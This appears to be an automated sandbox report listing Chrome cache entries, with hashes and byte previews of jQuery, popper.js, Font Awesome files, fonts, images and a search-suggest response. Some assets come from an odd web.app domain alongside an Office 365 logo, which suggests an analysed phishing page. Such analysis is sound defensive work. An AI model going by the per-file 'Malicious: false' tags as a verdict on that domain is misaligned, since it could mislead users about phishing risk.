SHA-512:	FC48A0ADEC7F58347CD877945135BADA27D3127852676FE683AF1DB37E937F8E75C207C8615D017C40DBECC7F3F04DE34D2B8CC03C2E56CF327554A9C9CDAC7A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............>.V-....PLTE................................................iiibbbqqq........&&&...LLL...sss...===.........XXX111999......GGG...<<<...UUU""",,,...b;.....IDATx..].b.:....^oI..I.[.u;[....6..$aC..Z....0_lY.m..F...I.[HmA..{.)[....'t^....B~..1[.yA...$.s.T.X.M<L<L<L<P<$Fx.....P.`.x.=..n......?F..0../..`.)#...VP.P.@0.......`U.....rYE...."...,M...a.....X...l.. ......?.u...W...?0.P.F......>.....?.C.........%..Ru.l....<.`Qj.....n...!......X.......L7...&..Dy.+.[3.....V..".~..Q....2J....,l.G...........qx......vD?.q.:.]O....X......7+..#.Pg...@A....Y.NV...[..Xz2..i].jG%.u..>....:..j.......^=.Y..1..x.vi..B'.D'...Y4........."FE..=VHA......B......q........0..A?.......x...A.,/X..C..q.....R.Y).f.+o.H..l.Tm..%.L....`...WM@4E.E..V5....C^-.,....&.J..........t.>..q.~.._L<...f....)..H.0r..7Y...$X..b.....y+..2..3*X]...r.o8e....!...E..dWO<L<..C.~..Z.v=.h.P.a.X..].fj............Vk..;;...............e?P`]f$...<\|U{..~.y.pz.b.7.=..,.t.0..Y....Q

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 263 x 192, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	3974
Entropy (8bit):	7.898852593020052
Encrypted:	false
SSDEEP:	96:M63dcZR0VjR9dRKcH9VQAWL0gU77yAQqAMOtyp7beLzmt:ftcZRyPldV7WL0x7NAPwp7beLSt
MD5:	E7A215FF694499E8C3C24F05CD1B2447
SHA1:	8D24989EA451693DD06BD55F3DB10262CC0025F8
SHA-256:	AC9CA3052E8894414DF2CA5F150F03EA086E07899634A98C9452AE73A86AC9B0
SHA-512:	FC48A0ADEC7F58347CD877945135BADA27D3127852676FE683AF1DB37E937F8E75C207C8615D017C40DBECC7F3F04DE34D2B8CC03C2E56CF327554A9C9CDAC7A
Malicious:	false
Reputation:	low
URL:	https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSwt0Wr5uodzG7-sVzAC53bWMdf9_lngTlrKiQsRxw48YJ6hAOCn-GFa__IymxiQseYF0s&usqp=CAU
Preview:	.PNG........IHDR.............>.V-....PLTE................................................iiibbbqqq........&&&...LLL...sss...===.........XXX111999......GGG...<<<...UUU""",,,...b;.....IDATx..].b.:....^oI..I.[.u;[....6..$aC..Z....0_lY.m..F...I.[HmA..{.)[....'t^....B~..1[.yA...$.s.T.X.M<L<L<L<P<$Fx.....P.`.x.=..n......?F..0../..`.)#...VP.P.@0.......`U.....rYE...."...,M...a.....X...l.. ......?.u...W...?0.P.F......>.....?.C.........%..Ru.l....<.`Qj.....n...!......X.......L7...&..Dy.+.[3.....V..".~..Q....2J....,l.G...........qx......vD?.q.:.]O....X......7+..#.Pg...@A....Y.NV...[..Xz2..i].jG%.u..>....:..j.......^=.Y..1..x.vi..B'.D'...Y4........."FE..=VHA......B......q........0..A?.......x...A.,/X..C..q.....R.Y).f.+o.H..l.Tm..%.L....`...WM@4E.E..V5....C^-.,....&.J..........t.>..q.~.._L<...f....)..H.0r..7Y...$X..b.....y+..2..3*X]...r.o8e....!...E..dWO<L<..C.~..Z.v=.h.P.a.X..].fj............Vk..;;...............e?P`]f$...<\|U{..~.y.pz.b.7.=..,.t.0..Y....Q

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7164
Entropy (8bit):	7.953642407189793
Encrypted:	false
SSDEEP:	192:2/HmqwkW9CkiBeegTL3PW9i/NpQIEKeyZAnwq:skJCxeeuPWwVpf/tZAD
MD5:	EA6E682D600503FEFFD3A1BB3DEC2C50
SHA1:	23EE21668B7383AFE3AEF550FAAFA8241F6322BB
SHA-256:	2B5E34B465EA48AA40348054E373B5CC8D72A04452CABAA1D54C1A3D0CAB54A1
SHA-512:	03D1FAC2F04A650D7A750597DF26E1882518EF309FB8C5B3E4E170AE834984122FF82E9B4B8A7CCEE61EC66853B93B3503CE7A68D50FA1F0A2308773CB40F4D8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............m"H...oPLTE...TTT.........QQQ...............OOO.........^^^XXX...aaajjj...........mmm```......vvv...fff.........}}}......k......HIDATx.........B4q.[.%.....\.P..~=.s...1~).......aJu.!.9R.Q.;Hu{.n/...O....T.H.l....\gIu.L.X...)..R.#.....T........Pl.H.5uD.3..$.DB.M...dA.7UY\_....(.U.e..u2.w...=.........D........uz+..?....a..IV].Z.kyv..+...q..G............S..0.H.l\|.^./..s....:rW..nT?...@.....:..5...n;..Iwu.......-...k.{GvsJz.......=.......z.].d.$....H\>v.....K...i........6..y.Q..2z.....w.$?%C.=......{....pA.....4o.P..Q.......G5}.P...2.&d.Iu.>+i.U...s.XW~.J.....Ad.C./W.J.U.....v4z....y....jF.i....5y..=.FFwQ.~..}9}.a.k.u.I..eu.....n....\7J..kk..j....TUy}>..L.>.c.:./.EBb..^x.V..z.U..{.[.B.....HOtYG...[..CH..>Pzy..`..%....`&.3dv.=....M._"...{.&=n.y.`.#.S.w..).P.a.$..!.......Y...b...d..yh...*..fY.....#.G...s2.v.5.BI.S9...)..z.P..A>O.]...............?Cu'.i0...B.9+............=..D..^.q0~..2./.'S7....[.O.>((....s3 ~

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4290)
Category:	downloaded
Size (bytes):	4295
Entropy (8bit):	5.825154135926985
Encrypted:	false
SSDEEP:	96:wjli+MfgS+Sl6FC5YCPZXae9CXVmg5JeHYufQfffo:wZV4gsxqegXVmgvQt
MD5:	C34484DCE9E2C703AB086F2873A69315
SHA1:	A015D5DFA67734841A56F825C4CF03DEF847A85D
SHA-256:	324CBD9270A3407FBFBDF3215EC21CBB34B03198A96F4AF512F062CD5912BF24
SHA-512:	DC512974ACD978C40D8D7CBBE125C17366221A18A27BBBE3165D7DCD51F0BF623C4EB4C67EF2212E4BA974E44BE0A7F48A787AC48070BCDE786F0633BA64899F
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt strands hints april 28","roblox anime switch codes","nba bucks","powerball lottery numbers","spacex falcon 9 rocket launch today","social security cola 2025","colorado snow totals","xbox fallout 5"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wam1idhIjTWlsd2F1a2VlIEJ1Y2tzIOKAlCBCYXNrZXRiYWxsIHRlYW0yxhNkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQURRQUFBQkFDQU1BQUFCaUZhUU9BQUFBcTFCTVZFWC8vLy91NGNZQVJ4djM2TTBBTlFBQU53QUFPZ0FBTXdEejVjb0FSUmdBUkJVQU1BQUFQQUQvLy8wQUpnRC8rL1RSeXE4QUxRQUFRUS9rMmI3LzkrdkV3S1VBR0FBV1RDTCs5T05wZkYxNWpuM2IwcmVqcG9vQUl3QUFIZ0JBWVQ3LzhkWTRXelY5aW15dXI1T05sbm02dUp5ZXJLSDY3dGtrVWl0U2JFbGRjbEMzd2JuczcrM08xYzlXYzF4SWFsQXJWemJlNHQ0QUVnQThZVVZvZ1cySW1vc0NTU1dxdHEwQUF3QlhIeklRQUFBR1ZFbEVRVlJJaVgxWGJZT2l2QTV0S1dCNWh3SVdCQWVwUlFxQ3lxcnIvZisvN0xhbzg0ek83T1REcmlROVRYS1NwaD

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, progressive, precision 8, 670x335, components 3
Category:	downloaded
Size (bytes):	72003
Entropy (8bit):	7.982181477958979
Encrypted:	false
SSDEEP:	768:Zg0NO59kK2Rn6g1Zl/hCmrGGnlOVL8ny0d1gUfG7dW0LMs1xVsw+QqAg0yFsdDao:hO59cL1ZOJGlNa7gmkTzF0EBeh8gWY
MD5:	F54F13C216139F1FB4B95B38066E6344
SHA1:	61FC465A4D49721D49819FC546CF8CD9A52CD87A
SHA-256:	2A55385BEB7310DD4CFFF14F49BA246FE0B65BEFA1485C91B33CE30283E1A07E
SHA-512:	46A0598E3A5DD421E50AA74C3D7132CC6BEE0C589788D8224568CA398A87CE5471D8CA4FC0B1974149365DBB99E75A0F0197CCA1A4AF9FC75AF94743736A0DEC
Malicious:	false
Reputation:	low
URL:	https://hiirscktcy.web.app/init-background.jpeg
Preview:	.....!Adobe.d@...................................................................................................................................................................O....................................................................................................!1. "2..0A#.B3.@C$%.6&.........................!...1AQa.."#..q.....23$....CS4%cs.DTdt.... ..5.0BREUu.&r...e.....6.b......Fv.....V'7...f.......................!1.. Aa...Qq...2.0."....b..@..#BRr..3...$.CScs...4..................~...i+....ax.&H.........&T.......-veL..dY=Ts.Q....L.Bup.2h.._m.... 6.F2...\_Q.......p.t...z....t....[.Z.,...bg.9W[yqoC...z'$.X..n.[6...1oi....%\..}.e\|.2..?.....$E.Q..x3n.)...$gKn.0.../Z.....<........P....z.I.eGy...L....#4..-...t...?Z-K.V..4S.......$.oH9$.?Ky~..........^.m..../....'.d4...>.+_C.yW....W.....R.VG...sd(..:..M....7ja=...ulT.ler.\|#on...h.^.l.>.......*:...z..........@.. p..@.7..1NdFe....FN...!-.+..\Erw..O.\....z...H.8C%....K.5.tA...yW."z5F...\|;=..

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26500)
Category:	downloaded
Size (bytes):	26682
Entropy (8bit):	4.82962335901065
Encrypted:	false
SSDEEP:	192:kP6hT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPhJVR8XD7mycP:Phal4w0QK+PwK05eavpmgP1eXD7mycP
MD5:	76F34B71FC9FB641507FF6A822CC07F5
SHA1:	73ED2F8F21CD40FB496E61306ACBB5849D4DBFF4
SHA-256:	6DEA47458A4CD7CD7312CC780A53C62E0C8B3CCC8D0B13C1AC0EA6E3DFCECEA8
SHA-512:	6C4002CE78247B50BFA835A098980AF340E4E9F05F7097C1E83301289051CE1282E647ABAB87DB28A32FBFE0263C7318D2444B7D57875873908D6D5ED2AF882F
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free-v4-shims.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arro

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	dropped
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1293
Entropy (8bit):	5.448893852817212
Encrypted:	false
SSDEEP:	24:81/nQOY7a4gwAZzhnQOY7a4goRVc+u/rnQOY7a4gHwy96DGSSf7:coOEa4gvGOEa4goRVc+uUOEa4gHN0oD
MD5:	CBA4ED6C809962AC6C2A26842183B67A
SHA1:	3F8E077AFC8EF5BAB7FA626EA782DAE34D419BBE
SHA-256:	AAE65C231008861C6430EBE296C926E728C4D2CCB1492F86E42D760E9B67D9A5
SHA-512:	84894B90DDA3CA3487F3E4F87F8244C78BA726331AC3EA290F6BD64830B0A21856A42333CC4EDBBF23DC2F063C53AD71B3F41864275D874AEBD37C198AE1CBE0
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap
Preview:	/* vietnamese /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32058)
Category:	downloaded
Size (bytes):	86659
Entropy (8bit):	5.36781915816204
Encrypted:	false
SSDEEP:	1536:YNhEyjjTikEJO4edXXe9J578go6MWX2xkj8e4c4j2ll2AckaXEP6n15HZ+FhFcQ7:uxc2yjx4j2uX/kcQDU8Cu9
MD5:	C9F5AEECA3AD37BF2AA006139B935F0A
SHA1:	1055018C28AB41087EF9CCEFE411606893DABEA2
SHA-256:	87083882CC6015984EB0411A99D3981817F5DC5C90BA24F0940420C5548D82DE
SHA-512:	DCFF2B5C2B8625D3593A7531FF4DDCD633939CC9F7ACFEB79C18A9E6038FDAA99487960075502F159D44F902D965B0B5AED32B41BFA66A1DC07D85B5D5152B58
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
Preview:	/! jQuery v3.2.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7164
Entropy (8bit):	7.953642407189793
Encrypted:	false
SSDEEP:	192:2/HmqwkW9CkiBeegTL3PW9i/NpQIEKeyZAnwq:skJCxeeuPWwVpf/tZAD
MD5:	EA6E682D600503FEFFD3A1BB3DEC2C50
SHA1:	23EE21668B7383AFE3AEF550FAAFA8241F6322BB
SHA-256:	2B5E34B465EA48AA40348054E373B5CC8D72A04452CABAA1D54C1A3D0CAB54A1
SHA-512:	03D1FAC2F04A650D7A750597DF26E1882518EF309FB8C5B3E4E170AE834984122FF82E9B4B8A7CCEE61EC66853B93B3503CE7A68D50FA1F0A2308773CB40F4D8
Malicious:	false
Reputation:	low
URL:	https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR8X9YX2EtdgLet95X7sJ_9UI7Jst0vgxUMYNTt3m8npKpU6K_Wi9379Twj3GwyTnqrUiU&usqp=CAU
Preview:	.PNG........IHDR..............m"H...oPLTE...TTT.........QQQ...............OOO.........^^^XXX...aaajjj...........mmm```......vvv...fff.........}}}......k......HIDATx.........B4q.[.%.....\.P..~=.s...1~).......aJu.!.9R.Q.;Hu{.n/...O....T.H.l....\gIu.L.X...)..R.#.....T........Pl.H.5uD.3..$.DB.M...dA.7UY\_....(.U.e..u2.w...=.........D........uz+..?....a..IV].Z.kyv..+...q..G............S..0.H.l\|.^./..s....:rW..nT?...@.....:..5...n;..Iwu.......-...k.{GvsJz.......=.......z.].d.$....H\>v.....K...i........6..y.Q..2z.....w.$?%C.=......{....pA.....4o.P..Q.......G5}.P...2.&d.Iu.>+i.U...s.XW~.J.....Ad.C./W.J.U.....v4z....y....jF.i....5y..=.FFwQ.~..}9}.a.k.u.I..eu.....n....\7J..kk..j....TUy}>..L.>.c.:./.EBb..^x.V..z.U..{.[.B.....HOtYG...[..CH..>Pzy..`..%....`&.3dv.=....M._"...{.&=n.y.`.#.S.w..).P.a.$..!.......Y...b...d..yh...*..fY.....#.G...s2.v.5.BI.S9...)..z.P..A>O.]...............?Cu'.i0...B.9+............=..D..^.q0~..2./.'S7....[.O.>((....s3 ~

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26500)
Category:	dropped
Size (bytes):	26682
Entropy (8bit):	4.82962335901065
Encrypted:	false
SSDEEP:	192:kP6hT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPhJVR8XD7mycP:Phal4w0QK+PwK05eavpmgP1eXD7mycP
MD5:	76F34B71FC9FB641507FF6A822CC07F5
SHA1:	73ED2F8F21CD40FB496E61306ACBB5849D4DBFF4
SHA-256:	6DEA47458A4CD7CD7312CC780A53C62E0C8B3CCC8D0B13C1AC0EA6E3DFCECEA8
SHA-512:	6C4002CE78247B50BFA835A098980AF340E4E9F05F7097C1E83301289051CE1282E647ABAB87DB28A32FBFE0263C7318D2444B7D57875873908D6D5ED2AF882F
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arro

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 900x540, components 3
Category:	downloaded
Size (bytes):	54749
Entropy (8bit):	7.734230233994223
Encrypted:	false
SSDEEP:	1536:anDCqhWWWWWAWOdHWWWQKAWbAVPAWWWsI6WWWPfnR9uRNyxYhWWWAsBrfV3yDR55:QDCqhWWWWWzOxWWW3APoWWWsI6WWWnRG
MD5:	FA9C94C3E02AB946ABD124563C15E15C
SHA1:	EE73EC14E36011125124A5F739741B4B3D44E7D7
SHA-256:	E6E8D049EAE71ADC7885CD270FB033E975AF9EAD0CA3535A40DEBDD00A78E502
SHA-512:	B9767A9EAFD831C98ECD96101A1A28EA2630B2B3967D647CB98601936E0B7CFAF9B48F092EC002D4E2270C04FB69E518E1D495F3AAADB977647B37913D39DF62
Malicious:	false
Reputation:	low
URL:	https://img2.pngdownload.id/20180327/wfq/kisspng-microsoft-office-365-office-online-computer-softwa-office-5abb01d66a0b39.1638325715222051424344.jpg
Preview:	......JFIF..............Exif..II*................+http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:788A2A25D02511E7A0AEC879B62BAB1D" xmpMM:DocumentID="xmp.did:788A2A26D02511E7A0AEC879B62BAB1D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:788A2A23D02511E7A0AEC879B62BAB1D" stRef:documentID="xmp.did:788A2A24D02511E7A0AEC879B62BAB1D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C....................................................................C....................................................................

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 399 x 234, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	27264
Entropy (8bit):	5.211666264328576
Encrypted:	false
SSDEEP:	384:HKi2u52IXXggO3QJuZEfjGete8ZV9oVcMaamXY2om:qiLXvnSeteUVRxbom
MD5:	E12869E88698A7CCDEF897C661E3729B
SHA1:	BF336C35D34E775E29C50168B351DE5B041690AA
SHA-256:	94F584A17BCF5868513C7E0B8A7085DF161AAC6FC6DEEF8907D1579ED8312899
SHA-512:	22BCC26A6E962B56FD128E01D5FADFB8CEADCD492EA4280BD1906C0BC1D39C647685AEF08DE313D029B61FA3D853CCDE3A0CA42E3F986CC2F46A5515F77DF7B4
Malicious:	false
Reputation:	low
URL:	https://hiirscktcy.web.app/background-2.png
